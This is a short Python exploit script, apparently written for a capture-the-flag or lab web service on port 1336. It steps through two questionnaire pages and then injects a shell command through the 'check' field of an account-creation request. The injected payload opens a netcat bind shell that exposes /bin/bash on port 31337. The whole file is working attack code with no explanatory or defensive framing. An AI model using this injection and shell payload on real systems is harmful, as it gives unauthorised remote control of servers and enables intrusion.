#!/usr/bin/python3

import random
import requests
import string
import sys

def usage():
    print("Usage: acct_exploit.py <host>")
    sys.exit(1)

def randstr(len):
    return ''.join(random.choice(string.ascii_uppercase) for i in range(len))

def exploit(target, payload):
    
    # target scripts check session vars
    s = requests.Session()

    # fill out questionnare part 1
    q2params = {
        'user' : 'A',
        'q1' : '2',
        'q2' : '2',
        'q3' : '1',
        'q4' : '1',
    }

    # fill out questionnare part 2
    q3params = {
        'q5' : '0',
        'q6' : '0',
        'q7' : '0',
        'q8' : '0',
    }

    acctparams = {
        'firstname' : 'A',
        'lastname'  : 'A',
        'email'     : 'A@A.A',
        'check'     : '; ' + payload
    }
    
    s.get('http://' + target + ':1336/quest2.php', params=q2params)
    s.get('http://' + target + ':1336/quest3.php',  params=q3params)
    s.get('http://' + target + ':1336/newaccount.php', params=acctparams)

def main():
    if len(sys.argv) != 2:
        usage()
        
    host = sys.argv[1]
    payload = 'nc -lp 31337 -e /bin/bash'
    resp = exploit(host, payload)
        
if __name__ == '__main__':
    main()
        
        
    
